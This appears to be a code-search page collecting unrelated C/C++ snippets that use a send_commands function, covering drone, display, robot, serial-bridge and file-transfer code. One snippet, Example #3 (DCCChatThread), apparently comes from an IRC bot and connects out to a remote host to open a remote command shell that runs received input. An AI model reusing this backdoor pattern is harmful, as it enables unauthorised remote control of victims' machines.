Example #1
0
int main(int argc, char ** argv) {
    entropy_context entropy;
    // initialize our AES context
    aes_init(&aes);
    entropy_init(&entropy);

    //int ret;

    if (argc != 2) {
        printf("usage: %s client\n", argv[0]);
        return 0;
    }

    if(__init()) {
        printf("  * Exiting \n");
        goto exit;
    }

    if(kvstore_dhm(pfd, &aes, argv[1], enckey, KVSTORE_AESKEY_LEN)) {
        printf("\n  ! DHM failed... Exiting");
        goto exit;
    }

    // to derive the IV, we just hash the key
    // assumed safe, the key IV is updated on each encryption
    entropy_func(&entropy, iv, KVSTORE_AESIV_LEN);

    send_commands();
exit:
    aes_free(&aes);
    printf("\n");
    return 0;
}
Example #2
0
Dialog::Dialog(ARDrone* ardrone, QWidget *parent) :
    QDialog(parent),
    ui(new Ui::Dialog)
{
    this->drone = ardrone;
    ui->setupUi(this);
    this->show();

    ui->btn_d->setEnabled(false);
    ui->btn_q->setEnabled(false);
    ui->btn_s->setEnabled(false);
    ui->btn_z->setEnabled(false);
    ui->btn_alt->setEnabled(false);
    ui->btn_ctrl->setEnabled(false);
    ui->btn_left->setEnabled(false);
    ui->btn_up->setEnabled(false);
    ui->btn_right->setEnabled(false);
    ui->btn_down->setEnabled(false);
    ui->btn_tkoff->setEnabled(false);
    ui->btn_quit->setEnabled(false);

    command = COMMAND_NOTHING_V1;

    commands = new QTimer();
    connect(commands,SIGNAL(timeout()),this,SLOT(send_commands()));
    commands->start(30);
}
Example #3
0
DWORD WINAPI DCCChatThread(LPVOID param)
{
	DCC dcc = *((DCC *)param);
	DCC *dccs = (DCC *)param;
	dccs->gotinfo = TRUE;

	char buffer[4096];

	SOCKET ssock;
	if ((ssock = CreateSock(dcc.host,dcc.port)) == INVALID_SOCKET) { 
		sprintf(buffer,"[DCC]: Failed to open socket.");
		if (!dcc.silent) irc_privmsg(ssock, dcc.sendto, buffer, dcc.notice);
		addlog(buffer);

		clearthread(dcc.threadnum);

		ExitThread(1);
	}
	if (open_cmd(ssock,"") == -1) {
		sprintf(buffer,"[DCC]: Failed to open remote command shell.");
		if (!dcc.silent) irc_privmsg(ssock, dcc.sendto, buffer, dcc.notice);
		addlog(buffer);

		fclosesocket(ssock);
		clearthread(dcc.threadnum);

		ExitThread(1);
	}
	Sleep(100);

	while (1) {
		memset(buffer, 0, sizeof(buffer));
		if (frecv(ssock, buffer, sizeof(buffer), 0) <= 0) 
			break;

		strcat(buffer,"\n");
		if (!send_commands(buffer))
			break;

		Sleep(100);
		if (findthreadid(RCMD_THREAD) == 0)
			break;
	}
	sprintf(buffer,"[DCC]: Failed to send to Remote command shell.");
	if (!dcc.silent) irc_privmsg(ssock, dcc.sendto, buffer, dcc.notice);
	addlog(buffer);
	
	fclosesocket(ssock);
	clearthread(dcc.threadnum);
	
	ExitThread(0);
}
Response get_statist_info(Request& request) {
	std::vector<std::string> times;
	Json::Value root;
	Json::Value json_data;

	std::vector<std::string> cms = get_cmds(times);
	LOG_DEBUG("get cmds size:%d", cms.size());
	send_commands(cms, times, json_data);

	Json::ArrayIndex index = 0;
	root["JSChart"]["datasets"][index]["type"] = "line";
	root["JSChart"]["datasets"][index]["data"] = json_data;

	return Response(STATUS_OK, root);
};
Example #5
0
int
main(int argc, char **argv)
{
	int c;
	int slipfd, maxfd;
	int ret;
	fd_set rset, wset;
	FILE *inslip;
	char siodev[10] = "";
	int baudrate = -2;

	char buf[4000];
    
    prog = argv[0];

	setvbuf(stdout, NULL, _IOLBF, 0); /* Line buffered output. */

	memset(&osVersionInfo,0,sizeof(OSVERSIONINFO));
	osVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
	GetVersionEx(&osVersionInfo);

    while((c = getopt(argc, argv, "B:D:L:hs:c:ra:p:vtb:")) != -1) {
		switch (c) {
	case 'B':
		baudrate = atoi(optarg);
		break;

	case 'L':
		if(strncmp("0", optarg, 1) == 0) {
		  timestamp = 0;
		} else {
		  timestamp = atoi(optarg);
		  if (timestamp==0) timestamp=1;
		}
		break;

	case 's':
		if(strncmp("/dev/", optarg, 5) == 0) {
			strncpy(siodev,optarg + 5,sizeof(siodev)-1);
		}
		else if(strncmp("COM", optarg, 3) == 0) {

			int portnum;

			portnum = atoi(optarg+3);

			if(portnum == 0){
				err(1,"port number is invalid");
			}
			sprintf(siodev,"ttyS%d",portnum-1);
		}
		else {
			strncpy(siodev,optarg,sizeof(siodev)-1);
		}
		break;

	case 'c':
		channel = atoi(optarg);
		set_channel = 1;
		break;
	case 'r':
		sniffer_mode = 1;
		break;

	case 'a':
		if(autoconf == true){
			print_help();
		}
		local_ipaddr = optarg;
        if (!validIPAddr(local_ipaddr, 0)){
			if (timestamp) stamptime();
            fprintf(stderr, "Invalid IPv6 address: %s", local_ipaddr);
            exit(1);
        }
		break;

	case 'p':
		if(local_ipaddr !=NULL){
			print_help();
		}
		autoconf = true;
		ipprefix = optarg;
        if (!validIPAddr(ipprefix, 0)){
			if (timestamp) stamptime();
            fprintf(stderr, "Invalid IPv6 prefix: %s", ipprefix);
            exit(1);
        }
		break;

	case 'v':
		verbose = true;
		break;

    case 't':
		tun = true;
		break;

    case 'b':
		br_prefix = optarg;
        send_prefix = true;
        send_mac = false;
        tun = true;

        if (!validIPAddr(br_prefix, 64)){
			if (timestamp) stamptime();
            fprintf(stderr, "Invalid IPv6 64-bit prefix: %s", br_prefix);
            exit(1);
        }
        strtok(br_prefix,"/"); // Remove prefix length if it is present.
		break;

	case '?':
	case 'h':
	default:
		print_help();
		break;
		}
	}
	argc -= (optind - 1);
	argv += (optind - 1);

	if(argc != 2 || *siodev == '\0') {
		print_help();
	}

    if(autoconf == true && br_prefix != NULL){
		if (timestamp) stamptime();
        fprintf(stderr, "-p and -b options cannot be used together.\r\n");
        print_help();
    }

	sscanf(argv[1],"%2X-%2X-%2X-%2X-%2X-%2X",
		(int *)&adapter_eth_addr.addr[0],(int *)&adapter_eth_addr.addr[1],
        (int *)&adapter_eth_addr.addr[2],(int *)&adapter_eth_addr.addr[3],
        (int *)&adapter_eth_addr.addr[4],(int *)&adapter_eth_addr.addr[5]);
	if_name = wpcap_start(&adapter_eth_addr, verbose);

	if(local_ipaddr!=NULL){
		addAddress(if_name, local_ipaddr);
	}

	switch(baudrate) {
  case -2:
	  break;			/* Use default. */
  case 9600:
	  b_rate = B9600;
	  break;
  case 19200:
	  b_rate = B19200;
	  break;
  case 38400:
	  b_rate = B38400;
	  break;
  case 57600:
	  b_rate = B57600;
	  break;
  case 115200:
	  b_rate = B115200;
	  break;
  case 230400:
	  b_rate = B230400;
	  break;
  case 460800:
	  b_rate = B460800;
	  break;
  case 921600:
	  b_rate = B921600;
	  break;
  default:
	  err(1, "unknown baudrate %d", baudrate);
	  break;
	}


	slipfd = devopen(siodev, O_RDWR | O_NONBLOCK | O_NOCTTY | O_NDELAY | O_DIRECT | O_SYNC );
	if(slipfd == -1) {
		err(1, "can't open siodev ``/dev/%s''", siodev);
	}
	if (timestamp) stamptime();
	fprintf(stderr, "wpcapslip6 started on ``/dev/%s''\n", siodev);
	stty_telos(slipfd);
	slip_send(SLIP_END);
	inslip = fdopen(slipfd, "r");
	if(inslip == NULL) err(1, "main: fdopen");


	atexit(cleanup);
	signal(SIGHUP, sigcleanup);
	signal(SIGTERM, sigcleanup);
	signal(SIGINT, sigcleanup);
	signal(SIGALRM, sigalarm);

	/* Request mac address from gateway. It may be useful for setting the best 
	IPv6 address of the local interface. */


	while(1) {
		maxfd = 0;
		FD_ZERO(&rset);
		FD_ZERO(&wset);

		send_commands();		

		if(!slip_empty()) {		/* Anything to flush? */
			FD_SET(slipfd, &wset);
		}

		FD_SET(slipfd, &rset);	/* Read from slip ASAP! */
		if(slipfd > maxfd) maxfd = slipfd;
#ifdef WITH_STDIN
		FD_SET(STDIN_FILENO, &rset);  /* Read from stdin too. */
		if(STDIN_FILENO > maxfd) maxfd = STDIN_FILENO;   /* This would not be necessary, since we know STDIN_FILENO is 0. */
#endif

		if(slip_empty()) {
			char *pbuf = buf;

			ret = wpcap_poll(pbuf);
			if( ret > 0 ){
				struct uip_eth_hdr * eth_hdr = (struct uip_eth_hdr *)pbuf;

				if(eth_hdr->type == htons(UIP_ETHTYPE_IPV6)){
					// We forward only IPv6 packet.
                    
                    if(tun){
                        // Cut away ethernet header.
                        pbuf += sizeof(struct uip_eth_hdr);
                        ret -= sizeof(struct uip_eth_hdr);
                    }

					write_to_serial(pbuf, ret);
					/*print_packet(pbuf, ret);*/
					slip_flushbuf(slipfd);
				}
			}
		}
		{
			struct timeval tv;
			tv.tv_sec = 0;
			tv.tv_usec = 10;
			ret = select(maxfd + 1, &rset, &wset, NULL, &tv);
		}
		if(ret == -1 && errno != EINTR && errno != EAGAIN) {
			err(1, "select");
		}
		else if(ret > 0) {
			if(FD_ISSET(slipfd, &rset)) {
				/* printf("serial_to_wpcap\n"); */
				serial_to_wpcap(inslip);
				/*	printf("End of serial_to_wpcap\n");*/
			}  

			if(FD_ISSET(slipfd, &wset)) {
				slip_flushbuf(slipfd);				
			}
#ifdef WITH_STDIN
			if(FD_ISSET(STDIN_FILENO, &rset)) {
				char inbuf;
				if(fread(&inbuf,1,1,stdin)){
					if(inbuf=='q'){
						exit(0);
					}
				}
			}
#endif
		}
	}
}
Example #6
0
int main(int argc, char **argv)
{
  
  /* local client data */ 
  int sockfd;		   		/* file descriptor for endpoint */ 
  struct sockaddr_in client_sockaddr;	/* address/port pair */ 
  struct in_addr client_addr; 	/* network-format address */ 
  char client_dotted[INET_ADDRSTRLEN];/* human-readable address */ 
  int client_port; 			/* local port */ 
  
  /* remote server data */ 
  char *server_dotted; 		/* human-readable address */ 
  int server_port; 			/* remote port */ 
  
  /* the request */ 
  char *filename; 			/* filename to request */ 
  
  /* read arguments */ 
  if (argc != 5) { 
    fprintf(stderr, "client: wrong number of arguments\n"); 
    client_usage(); 
    exit(1); 
  } 
  
  server_dotted = argv[1]; 
  server_port = atoi(argv[2]); 
  client_port = atoi(argv[3]); 
  filename = argv[4]; 
  
  if (!client_arguments_valid(
			      server_dotted, server_port, 
			      client_port, filename)) { 
    client_usage(); 
    exit(1); 
  } 
  
  /* get the primary IP address of this host */ 
  get_primary_addr(&client_addr); 
  inet_ntop(AF_INET, &client_addr, client_dotted, INET_ADDRSTRLEN);
  
  /* construct an endpoint address with primary address and desired port */ 
  memset(&client_sockaddr, 0, sizeof(client_sockaddr));
  client_sockaddr.sin_family      = PF_INET;
  memcpy(&client_sockaddr.sin_addr,&client_addr,sizeof(struct in_addr)); 
  client_sockaddr.sin_port        = htons(client_port);
  
  /* make a socket*/ 
  sockfd = socket(PF_INET, SOCK_DGRAM, 0);
  if (sockfd<0) { 
    perror("can't open socket"); 
    exit(1); 
  } 
  
  /* bind it to an appropriate local address and port */ 
  if (bind(sockfd, (struct sockaddr *) &client_sockaddr, 
	   sizeof(client_sockaddr))<0) { 
    perror("can't bind local address"); 
    exit(1); 
  } 
  fprintf(stderr, "client: Receiving on %s, port %d\n", 
	  client_dotted, client_port); 
  
  /* send a command */ 
  send_command(sockfd, server_dotted, server_port, filename, 0, MAXINT); 
  
  fprintf(stderr, "client: requesting %s blocks %d-%d\n", 
	  filename, 0, MAXINT); 
  
  /* receive the whole document and make naive assumptions */ 
  int done = FALSE; // set to TRUE when you think you're done
  int init = TRUE;
  
  /* create a bit array to test which blocks have been received */
  struct bits blocksRecv;
  
  /* open a file to write to in the current directory */
  FILE *download = fopen(filename, "w");
  fclose(download);
  int outfd = open(filename, O_RDWR);
  
  while (!done) { 
    int retval;
  again: 
    if ((retval = select_block(sockfd, 0, 20000))==0) { 
      /* timeout */
      struct range nBlocks[12];
      int currentRange = 0;
      int i;
      int check = 0;
      int numBlocks = blocksRecv.nbits;
      for(i = 0; i < numBlocks; i++){
	/* look for the start of a missed block */
	if(check == 0 && bits_testbit(&blocksRecv, i)){
	  nBlocks[currentRange].first_block = i;
	  nBlocks[currentRange].last_block = numBlocks-1;
	  check++;
	}
	/* look for the end of a missed block */
	else if(check == 1 && !(bits_testbit(&blocksRecv, i))){
	  nBlocks[currentRange].last_block = i-1;
	  currentRange ++;
	  /* if you have found 12 missed blocks, send_commands */
	  if(currentRange == 12){
	    send_commands(sockfd, server_dotted, server_port, filename, nBlocks, currentRange);
	    currentRange = 0;
	  }

	  check = 0;
	}
      }
      /* send any left over blocks from the loop above */
      send_commands(sockfd, server_dotted, server_port, filename, nBlocks, currentRange);
      
      if(bits_empty(&blocksRecv)){
	done = TRUE;
      }
      
    } else if (retval<0) { 
      /* error */ 
      perror("select"); 
      fprintf(stderr, "client: receive error\n"); 
    } else { 
      /* input is waiting, read it */ 
      struct sockaddr_in resp_sockaddr; 	/* address/port pair */ 
      int resp_len; 			/* length used */ 
      char resp_dotted[INET_ADDRSTRLEN]; 	/* human-readable address */ 
      int resp_port; 			/* port */ 
      int resp_mesglen; 			/* length of message */ 
      struct block one_block; 
      
      /* use helper routine to receive a block */ 
      recv_block(sockfd, &one_block, &resp_sockaddr);
      
      /* get human-readable internet address */
      inet_ntop(AF_INET, (void *)&(resp_sockaddr.sin_addr.s_addr),  
		resp_dotted, INET_ADDRSTRLEN);
      resp_port = ntohs(resp_sockaddr.sin_port); 
      
      fprintf(stderr, "client: %s:%d sent %s block %d (range 0-%d)\n",
	      resp_dotted, resp_port, one_block.filename, 
	      one_block.which_block, one_block.total_blocks);
      
      /* check block data for errors */
      if (strcmp(filename, one_block.filename)!=0) { 
	fprintf(stderr, 
		"client: received block with incorrect filename %s\n", 
		one_block.filename); 
	goto again; 
      } 

      /* init the bit array once you know how many blocks the file contains */
      if(init){
	//fprintf(stderr, "total blocks: %d\n", one_block.total_blocks);
	bits_alloc(&blocksRecv, one_block.total_blocks);
	bits_setrange(&blocksRecv, 0, one_block.total_blocks - 1); 
	init = FALSE;
      }

      /* if you have not received the current block, write it and flag it as received */
      if(bits_testbit(&blocksRecv, one_block.which_block)){
	bits_clearbit(&blocksRecv, one_block.which_block);
	lseek(outfd, one_block.which_block*PAYLOADSIZE, SEEK_SET);
	write(outfd, one_block.payload, one_block.paysize);
      }
            
      /* if all blocks have been received, done */
      if(bits_empty(&blocksRecv)){
	done = TRUE;
      }
    } 
  }
  /* close the file stream */
  close(outfd);
}
int main( int argc, char** argv )
{
	tcp_client chat;
	EncoderClass encoder;
  geometry_msgs::Pose msg;
  
		
	bool run = true;
	int n;
	
	// Encoder variables
	// Sistem fix variables
  float wheel_axe_dist = 0.083;
  float Ts = 1.052;//0.10;
  float freq = 40.0;
  // Store variables
  double SumTheta = 0;
  double x = 0;
  double y = 0;
  double w = 0;
  double v = 0;
  double left_speed = 0;
  double right_speed = 0;
  int inform = 0;
	std::string enc;
	
	//Initializes ROS, and sets up a node
  ros::init(argc, argv, "encoder_read");
  ros::NodeHandle nh;	

  ros::Publisher pub=nh.advertise<geometry_msgs::Pose>("Robot_pose", 100);

  ros::Rate rate(freq);

	// Client connection to server
	if (!chat.conn()){
    	return 0;
  }

	// Non-bloking keyboard
	tcgetattr(0,&initial_settings);
	new_settings = initial_settings;
  new_settings.c_lflag &= ~ICANON;
  new_settings.c_lflag &= ~ECHO;
  new_settings.c_lflag &= ~ISIG;
  new_settings.c_cc[VMIN] = 0;
  new_settings.c_cc[VTIME] = 0;
  tcsetattr(0, TCSANOW, &new_settings);

	std::cout << "List of commands:" << std::endl;
	std::cout << "Forward:\t'w'\tBackward:\t's'" << std::endl;
	std::cout << "Left:\t\t'o'\tRight:\t\t'p'" << std::endl;
	std::cout << "Accelerate:\t'1'\tDeaccelerate:\t'2'" << std::endl;
	std::cout << "Stop:\t\t'Space'\tQuit:\t\t'ESC'" << std::endl;

	// Communication notification for Robot, to beging receiveing data
	if(!chat.send_data(9)){run = false;}
	
  while(ros::ok() && run) 
  {
		std::cout << "New data request:" << std::endl;
		enc = chat.receive(12);
		//std::cout << enc << std::endl;
		// Commands Stuff!
    n = getchar();
		if(n != EOF){
			run = send_commands(n, chat);
  	}

		//Odometry Stuff
		encoder.encoderCall(enc);
    left_speed = encoder.getLeft()/(Ts*100.0); 
    right_speed = encoder.getRight()/(Ts*100.0);

    //Foward Kinematics
    v = (right_speed + left_speed)/2.0;
    w = (right_speed - left_speed)/(2.0*wheel_axe_dist);

    SumTheta = SumTheta + w*Ts;
    x = x + v*cos(SumTheta)*Ts;
    y = y + v*sin(SumTheta)*Ts;

    if (SumTheta > 2*M_PI) SumTheta = SumTheta - 2.0*M_PI;
    else if (SumTheta < 0) SumTheta = SumTheta + 2.0*M_PI;

		std::cout << "left = " << left_speed << " m/s " << std::endl;
    std::cout << "right = " << right_speed << " m/s \n" << std::endl;

		msg.position.x = x;
    msg.position.y = y;
    msg.position.z = 0;
    tf::quaternionTFToMsg (tf::createQuaternionFromRPY(0,0,SumTheta), msg.orientation);
		
		pub.publish(msg);

		ros::spinOnce();
    rate.sleep();
	}
	tcsetattr(0, TCSANOW, &initial_settings);
	chat.stop();
}
Example #8
0
void send_commands(int fildes, char * file)
{
    FILE * fp;
    char * line = NULL;

    fp = fopen(file, "r");
    if (!fp) {
        perror("Failed to open commands file");
        exit(EXIT_FAILURE);
    }

    while (1) {
        char input;
        size_t n, len;
        fd_set rfds;
        struct timeval timeout = { .tv_sec = 5, .tv_usec = 0, };
        int retval;

        FD_ZERO(&rfds);
        FD_SET(fildes, &rfds);

        retval = select(fildes + 1, &rfds, NULL, NULL, &timeout);
        if (retval == -1 || retval == 0) {
            pty_timeout = 1;
            break;
        }
        if (read(fildes, &input, sizeof(char)) <= 0)
            break;
        write(STDOUT_FILENO, &input, sizeof(char));

        if (input == '#' && (len = getline(&line, &n, fp)) != -1) {
            line[len - 1] = '\r';
            write(fildes, line, len);
            if (!strcmp(line, "exit\r"))
                break;
        } else if (len == -1) {
            break;
        }
    }

    free(line);
    fclose(fp);
}

int main(int argc, char * argv[])
{
    int pty[2];
    pid_t pid;

    if (argc < 3) {
        printf("Usage: %s FILE args\n", argv[0]);
        exit(EXIT_FAILURE);
    }

    if (getpty(pty)) {
        fprintf(stderr, "Failed to get pty\n");
        exit(EXIT_FAILURE);
    }

    pid = fork();
    if (pid == -1) {
        perror("Fork failed");
        exit(EXIT_FAILURE);
    } else if (pid == 0) {
        struct termios new_term;

        close(pty[0]); /* Close the master side */
        cfmakeraw(&new_term);
        tcsetattr(pty[1], TCSANOW, &new_term);
        close(0);
        close(1);
        dup(pty[1]);
        dup(pty[1]);

        if (execvp(argv[2], argv + 2))
            perror("Exec failed");

        exit(EXIT_FAILURE);
    }

    close(pty[1]); /* Close the slave side */
    send_commands(pty[0], argv[1]);
    kill(pid, SIGINT);
    wait(NULL);
    close(pty[0]);

    return (pty_timeout) ? EXIT_FAILURE : 0;
}
Example #9
0
SSD_RESULT ssd_set_column(int8_t start, int8_t end)
{
    SSD_COMMAND commands[] = { SSD1306_COLUMNADDR, (start & SSD1306_MAXCOLUMN), (end & SSD1306_MAXCOLUMN) };
    return send_commands(commands, sizeof(commands));
}
Example #10
0
SSD_RESULT ssd_inverse(int8_t inverse)
{
    SSD_COMMAND commands[] = { SSD1306_INVERTDISPLAY, inverse };
    return send_commands(commands, sizeof(commands));
}
Example #11
0
SSD_RESULT ssd_contrast(int8_t contrast)
{
    SSD_COMMAND commands[] = { SSD1306_SETCONTRAST, contrast };
    return send_commands(commands, sizeof(commands));
}
Example #12
0
SSD_RESULT ssd_init() 
{
    return send_commands(_init_sequence, sizeof(_init_sequence));
}
Example #13
0
SSD_RESULT ssd_set_page(int8_t start, int8_t end)
{
    SSD_COMMAND commands[] = { SSD1306_PAGEADDR, (start & SSD1306_MAXPAGE), (end & SSD1306_MAXPAGE) };
    return send_commands(commands, sizeof(commands));
}
Example #14
0
int main(int argc, char *argv[])
{
	int ret;
	int choice;
	int i, j;
	float Ts=0.002;
	float T;
	float vm=0.05; //mean speed
	matrix xd, xd_dot, J;
	float q0[5], q_final[5];
	float p0[3];
	float p1[3];
	
	DUNIT *unit;
	unsigned short motor[NUM_MOTORS];
	unsigned char sensor[NUM_SENSORS];
	
	pSM = (SM*) mbuff_alloc(NAME_OF_MEMORY, sizeof(SM));
	if(pSM == NULL) {
		perror("mbuff_alloc failed");
		return -1;
	}
	
	// Header = 1,;
	// Step = 2,
	motor[0] = 0;
	motor[1] = 0;
	motor[2] = 2100;
	motor[3] = 4200;
	motor[4] = -2500;
	motor[5] = 0;
	motor[6] = 18100;
	motor[7] = -2100;
	motor[8] = 1000;
	motor[9] = 6200;
	motor[10] = 0;
	motor[11] = 0;
	motor[12] = -2100;
	motor[13] = -4180;
	motor[14] = 2500;
	motor[15] = 0;
	motor[16] = -18810;
	motor[17] = 2000;
	motor[18] = -1000;
	motor[19] = -6200;
	motor[20] = 2100;
	motor[21] = 60;
	motor[22] = 60;
	
	sensor[0] = 'R';
	sensor[1] = 'R';
	sensor[2] = 'R';
	sensor[3] = 'R';

	unit = (DUNIT*)&(pSM->Data.IntDat);
	ret = send_commands(motor, sensor, unit);
	pSM->VarIF.ResRep = 0;
	pSM->VarIF.Mode = IDLE;
	pSM->VarIF.InterruptSend = TRUE;
	//watch return
	readret(unit);

  	//desired final configuration
  	//q_final[0]=PI*3/5;
  	//q_final[1]=PI/3;
  	//q_final[2]=PI/6;
  	//q_final[3]=-PI/4;
	//q_final[4]=0;
	//evaluate_position(q_final, p1);	
	q0[4]=0;
	open_hand (motor, sensor, unit);
	while (1)
		  {
		  //present position
		  read_positions(unit, motor);
		  robot2DH (&motor[16], q0);
		  evaluate_position(q0, p0);
  		  printf("\nPresent position: (%f,%f,%f)\n",p0[0],p0[1],p0[2]);
		  
		  //select desired position
		  choice=select_desired_position (p1);
		  if (choice==-1) break;
		  if (choice==1) close_hand (motor, sensor, unit);
		  if (choice==2) open_hand (motor, sensor, unit);
		  printf("\nDesired final position: (%f,%f,%f)\n",p1[0],p1[1],p1[2]);
		  
		  //execution time
		  T=evaluate_execution_time (p0, p1, vm);
		  
		  //initializing matrixes
		  initialize_matrix (&xd, T/Ts+1, 3);
		  initialize_matrix (&xd_dot, T/Ts+1, 3);
		  initialize_matrix (&J, 3, 5);
		  
		  //evaluate desired trajectory
		  trajectory_left_arm (Ts, T, p0, p1, &xd, &xd_dot);
		  
		  //inverse kinematics
		  inverse_kinematics (Ts, T, &xd, &xd_dot, unit);
		  }
	
	//close_hand (motor, sensor, unit);  
	free(xd.vector);
	free(xd_dot.vector);
	free(J.vector);
		
	//free memory
	mbuff_free(NAME_OF_MEMORY, (void*)pSM);

	return 0;
}